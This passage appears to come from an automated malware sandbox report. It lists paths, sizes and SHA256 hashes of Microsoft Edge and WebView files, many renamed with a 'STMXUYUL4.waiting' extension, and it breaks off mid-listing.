                                                                                                                                                                                                                                                                                                                                                                                nl.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\nl.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.0MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 6691bdd37ac0b824137161c53a1254883c434f923cbed168325257fe071cff51
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                nn.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\nn.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 998KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 3e6acee9cc43380020993da7f1dddb43f1f804ff3442ae3717b644068903ab5c
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                or.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\or.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 2.3MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 4280ab452348102abea69797ac5a9740f6e949777f53f9ced140f5c8b73d7c40
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                pa.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\pa.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 2.2MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 bec699182aaa162f4902e6864f890b1250fdac30e22967c1c5f570a0a282e8e8
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                pl.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\pl.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.2MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 cdb24b73d40b5f134319600b35efeefac9f225ac3a99f21e8f0bfe1b95868843
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                pt-BR.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\pt-BR.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.1MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 a3a24cd92db983fb010e849143495a098a6147a68898e2ad5827bb396f0603a4
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                pt-PT.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\pt-PT.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.1MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 05cf83b63271cc346efa0762a9ce1d8f61897840d2ede9e5a716d776146d21c6
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                qu.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\qu.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.1MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 530b1459049dc024f157c3194ebae012e9d63b304b7afbf58c9e8f8bf2508afb
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                ro.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\ro.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.1MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 da62005a414077617ebf13098d37567700bb325f401675ed30e13878eef23b72
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                ru.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\ru.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.7MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 e4b8ac45276d8461c119a50c8f881198cbdab4b02e326ecdd9aa972b2eedc83b
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                sk.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\sk.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.1MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 2d57ee53b3a83e0d19215adb6a5e9d3eb78589d2f9aa7b4c0e59e8a826cc6975
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                sl.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\sl.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.1MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 d4bf1f1748d11464459ef714295651091e3726bd8706f2b3ae5e679be98bc3d1
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                sq.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\sq.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.1MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 9f866f9cf16a1dcbb5f374e6e06003a17df10616e1c3990d4de92d0f017df519
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                sr-Cyrl-BA.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\sr-Cyrl-BA.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.6MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 540bca25907c40c73c8168dbf02d01124a815e562a933846e2b1e149799dc9c7
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                sr-Latn-RS.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\sr-Latn-RS.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.1MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 1b88ac5900669bf68ec49271c27c491590b4f5b6e35d745e768b5abfd14cb18b
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                sr.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\sr.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.7MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 5fa545090ebd77551c785ea3f219133f0fef8a911a26d7946780045727c0b45d
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                sv.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\sv.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1020KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 177fc419c75c38c03997adb7350c2b00e7c8ffa0045fccc8ca23a320c170926d
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                ta.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\ta.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 2.6MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 b5108d8208d202f7222eb1f368dc390087e6e6b6476e6a41a960eced318f9c24
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                te.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\te.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 2.3MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 725416be1fd1669649983f44dfd33f9eaa2c1f8be072a38bdf3c090da89fce39
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                th.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\th.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 2.0MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 3bcee393133918baff8172a841f49ceb9960d57f3984a1a98dc7e527cbc6d6b2
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                tr.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\tr.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.1MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 aaadb8dced065ff8e81db38d39e8011915df814081f19c3490a54e9e36bd8076
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                tt.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\tt.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.7MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 39abc98a7ed4301b2fe6ac5f73bbf49aa842bb0d6aeb28139f8c20b2fc8b0a7e
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                ug.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\ug.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.6MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 3580cca83547b60f30dc867f397f8e3ed9c9f9b92b5b5112c8cf180f2bff7139
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                uk.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\uk.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.7MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 c2f7d3eaecb8dbffa786ae3e7678b2c047d7bccb0ae2cc90d2729052a6d10098
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                ur.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\ur.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.6MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 0070f7538fb39653d6d4c9697fbac0300adad29dbd5a232130732714df0fa8b0
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                vi.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\vi.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.2MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 3b732770c694472d93e1a46f29290bdcb7921e7ad6a907a6cb54f768a07879c0
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                zh-CN.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\zh-CN.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 877KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 93d8d3f471770e2c4c5b1b7d4824cc68dea0a2c6c0080831764fa6d6bf5091ab
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                zh-TW.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\zh-TW.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 905KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 8aa00147af6496177e657b5cceb002fd31815b681e1c22d14628e6cd7be8b231
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                manifest.json
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\MEIPreload\manifest.json
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 259a97ef72abbc3c561ff1cbe9b94a9c36e29150aee70f5ec6666934148698ea
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                preloaded_data.pb
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\MEIPreload\preloaded_data.pb
                                                                                                                                                                                                                                                                                                                                                                                • Size 12KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 1475f32d1457ff8ce48e9237ac1ea5ff08a0c9961914850a93305697b674651d
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                widevinecdm.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\WidevineCdm\_platform_specific\win_x64\widevinecdm.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 18.6MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 b1a19e5d139dbc3d74ac60b966579d75c705724e88d4a86f3341f7eba532eeca
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                msedge.dll.sig
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\msedge.dll.sig
                                                                                                                                                                                                                                                                                                                                                                                • Size 5KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 8f7644d71b7adcf869e9e4a1b1ffec598884c747f37139265e7a2778dd190991
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                msedge.exe.sig
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\msedge.exe.sig
                                                                                                                                                                                                                                                                                                                                                                                • Size 5KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 62628e2a1c4180e72b2c7d10bdb4042bb294bebad51302fdad6be31109959f3e
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                msedge_100_percent.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\msedge_100_percent.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.6MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 f17274bda0f9c69c92a7f23e25a4730474e69be273a2c0dfd6f877af74e300c4
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                msedge_200_percent.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\msedge_200_percent.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 2.3MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 d6708b5a66c79b73607b95cc232ee7041074c654f9ef17d928fe285f81036ae6
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                msedgewebview2.exe.sig
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\msedgewebview2.exe.sig
                                                                                                                                                                                                                                                                                                                                                                                • Size 5KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 ec59ab55ff3c5080c0e9461cc93e0a477c77f775ac467182802bc5bc6f75747c
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                show_third_party_software_licenses.bat STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\show_third_party_software_licenses.bat STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 3KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 8c0413b9f827bcfd5db903fcd35e4f4dd972f2c742dc5732b9d62aef7177bfa7
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                telclient.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\telclient.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 2.3MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 7cd0351013b395b1d1eaec2eb04d6853d717be526df6567db71c0043542607f8
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                vccorlib140.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\vccorlib140.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 356KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 eefeb7e94ca812a8ebe4927f790e84a9837c492f4ea81748b6b1921e4739abfe
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                vcruntime140.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\vcruntime140.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 130KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 ba2d24c2ebbb1fddb020d30023d6641dec462991ec6a4afa95a60fd1f0e1390d
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                vcruntime140_1.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\vcruntime140_1.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 61KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 c2cf62d45e97179bd267bdcaf7fbf77cc6ab3f46932eefdacfd24d54f6c44196
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                vk_swiftshader.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\vk_swiftshader.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 4.6MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 1bdba07ecdc4f6a92322511c09850676ef24d2ecc4fb1a4a25ad1c4713dc2528
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                vulkan-1.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\vulkan-1.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 886KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 70b4dde54e9d25d1d8051a0c19a8a625afb842191f57aa15a61b90e06315b5e2
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                wdag.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\wdag.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 243KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 6d54608b3a95fc459d2d6b1b6b7ed36a99bfb9d1def80d366923a748595a08a6
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                webview2_integration.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\webview2_integration.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 35KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 40b95fce5654450a55909045a4491bbd7b45af325b950501cca5424a1b2c0bc2
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                wns_push_client.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\wns_push_client.dll STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 537KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 718fd319b8ca88866be8f4fe88ca26bf9edbaf487159155e918c04e398318781
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                ur.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\ur.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.5MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 dfbbf579afd2dd91b1d3c960ab67046cb07075de6d4f6be2aa8519facb8cee08
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                ur.pak STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\ur.pak STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.5MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 f82014080b6ab8fbffdac30a3bb0a06cd64e753bbe097d74fbb2b35045e248a3
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                msedge.dll.sig.DATA STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\msedge.dll.sig.DATA STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 5KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 a2e22a2c37f1f3f10702f23062b316b85ebc9e00d68b596f936831d1b0d3f3aa
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                msedge.exe.sig.DATA
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\msedge.exe.sig.DATA
                                                                                                                                                                                                                                                                                                                                                                                • Size 5KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 6ab7fc5511e3004509ee5f1c8d5ed8046199a88b5db6632732e77450756e04e5
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                msedge_100_percent.pak.DATA
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\msedge_100_percent.pak.DATA
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.5MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 737bd36aa9d64509fe3d7a7da9e15812cab34acd847fa3fa7e5a613ae4c8fe7c
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                msedge_200_percent.pak.DATA
